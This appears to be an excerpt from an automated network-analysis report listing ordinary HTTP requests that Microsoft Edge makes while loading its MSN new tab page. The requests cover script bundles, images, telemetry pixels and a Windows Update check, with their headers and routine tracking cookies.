Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.7f8ced0e5ba45618e733.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.ece9643c5babc8e535e2.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nkGyhUBOnovzuz5&MD=oygleuew HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=edgeChromium&v=20240423.509&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22edgeChromium%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22ntp.msn.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22dhp%22,%22pageExperiments%22:[%22prg-1s-mm-wid-t%22,%22prg-1s-sm-workid%22,%22prg-1s-twid%22,%22prg-1s-workid%22,%22prg-1s-wpocfpc%22,%22prg-1sw-finvldc%22,%22prg-1sw-fli-ex2c%22,%22prg-1sw-iconmap%22,%22prg-1sw-iplsd-ntp%22,%22prg-1sw-iplsdc-ntp%22,%22prg-1sw-iplsdc1p2%22,%22prg-1sw-iplsdp1%22,%22prg-1sw-iplsdp2%22,%22prg-1sw-lksincstbl%22,%22prg-1sw-p1widinc%22,%22prg-1sw-p1widinc-2d%22,%22prg-1sw-pde0%22,%22prg-1sw-popularc%22,%22prg-1sw-rr2fn%22,%22prg-1sw-rr2fp%22,%22prg-1sw-sa-annquota14%22,%22prg-1sw-sa-distillation4-t1%22,%22prg-1sw-sa-ntf-ddp-c%22,%22prg-1sw-sacfxevery2-t1%22,%22prg-1sw-saerevrfcc%22,%22prg-1sw-sageimterav3i2c%22,%22prg-1sw-sim-adapt%22,%22prg-1sw-socc-ntp%22,%22prg-1sw-socc-p1%22,%22prg-1sw-socc-p2%22,%22prg-1sw-srdus%22,%22prg-1sw-wxmptreplace%22,%22prg-2unified-uc-t%22,%22prg-ad-ai-imgf-c%22,%22prg-ad-pdedupe-c%22,%22prg-ad-va-rf-c%22,%22prg-adspeek%22,%22prg-bttd-c%22,%22prg-c-arb-rsz%22,%22prg-cg-c-hb%22,%22prg-cg-cmga%22,%22prg-cg-cmgroupa%22,%22prg-cg-dom-cleac%22,%22prg-cg-featured-c%22,%22prg-cg-homepagec%22,%22prg-cg-ingames-ct%22,%22prg-cg-notf%22,%22prg-cg-notf2%22,%22prg-cg-ntv-ad-blnd%22,%22prg-chnl-umf-follow%22,%22prg-chpg-ldgw%22,%22prg-co-ctr%22,%22prg-cookiecont%22,%22prg-csacclink-c%22,%22prg-ctr-pnpc%22,%22prg-entpremier-pr2-c%22,%22prg-fin-cdicon%22,%22prg-fin-cnosign%22,%22prg-fin-errde%22,%22prg-fin-l2tnews%22,%22prg-fin-l2tnews1%22,%22prg-mon-qcrfs%22,%22prg-p2-prmft%22,%22prg-p2-wx2lrot%22,%22prg-pr2-entprem-c%22,%22prg-pr2-flashrev%22,%22prg-pr2-noreqcap%22,%22prg-pr2-pagecontext%22,%22prg-pr2-shoreline%22,%22prg-pr2-sidebar%22,%22prg-pr2-sidebar-5-t%22,%22prg-pr2-svganimac%22,%22prg-rfrcsmc%22,%22prg-rpt2%22,%22prg-sh-bd-disgb-c%22,%22prg-sh-bd-newbanner%22,%22prg-sh-bd-newchckot%22,%22prg-sh-bd-nwchk%22,%22prg-sh-bd-pagoff%22,%22prg-sh-bd-ts%22,%22prg-sh-bd-video%22,%22prg-sh-dealsdaypdp%22,%22prg-sh-lowinv%22,%22prg-sh-lowinv1%22,%22prg-sh-recopdp%22,%22prg-sh-rmitmlnk%22,%22prg-sp-liveapi%22,%22prg-sp-nba24%22,%22prg-sp-nhl24%22,%22prg-sriver-wpo%22,%22prg-strrtng-g1%22,%22prg-ugc-likechange%22,%22prg-unified-p2%22,%22prg-upsaip-r-t%22,%22prg-upsaip-w1-t%22,%22prg-vidbuf1%22,%22prg-whp-minil1%22,%22prg-wx-ncar%22]} HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_topics-shared-state_dist_TopicData_connector_js-libs_topics-shared-state_dist_TopicData_-62f9da.338ce1fb43cf41e7abe5.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/topicData.2b96ade0ff66928c1ebb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/channel-data-connector.02a4c4f575b24365379f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nurturing-placement-manager.5ea7db000698f8928d23.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&RedC=c.msn.com&MXFR=09C025F5A71D6FE2180F319FA60A6E8D HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: AA3F3A36179501D1BB719097791ED2061AD744BADEDF443DFF44FDF5C2CE7FF5Sec-MS-GEC-Version: 1-117.0.2045.47Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=132ee5f1be77e922e6653ec1713906140; PID=123ee5f1be931922e66559f1713906140; XID=132ee5f1be77e922e6653ec1713906140
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=09C025F5A71D6FE2180F319FA60A6E8D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8684241135348538038&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1124273d17bd4f5db59c2e1a7b4e70fe HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/serviceBasedChannelDataProvider.9c4c33b7b565b7ebefde.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/storyManager.dd315fba1ee6c20bdb3d.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-feed-libs.1f70b20165d70f57b9b6.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-cscore.ad7a6dce7dbdf996219b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/super-nav.65258d4f38c7e7963827.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12Qge8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&MUID=09C025F5A71D6FE2180F319FA60A6E8D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /staticsb/statics//latest/icons-wc/icons/MicrosoftStartLogo_dark.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
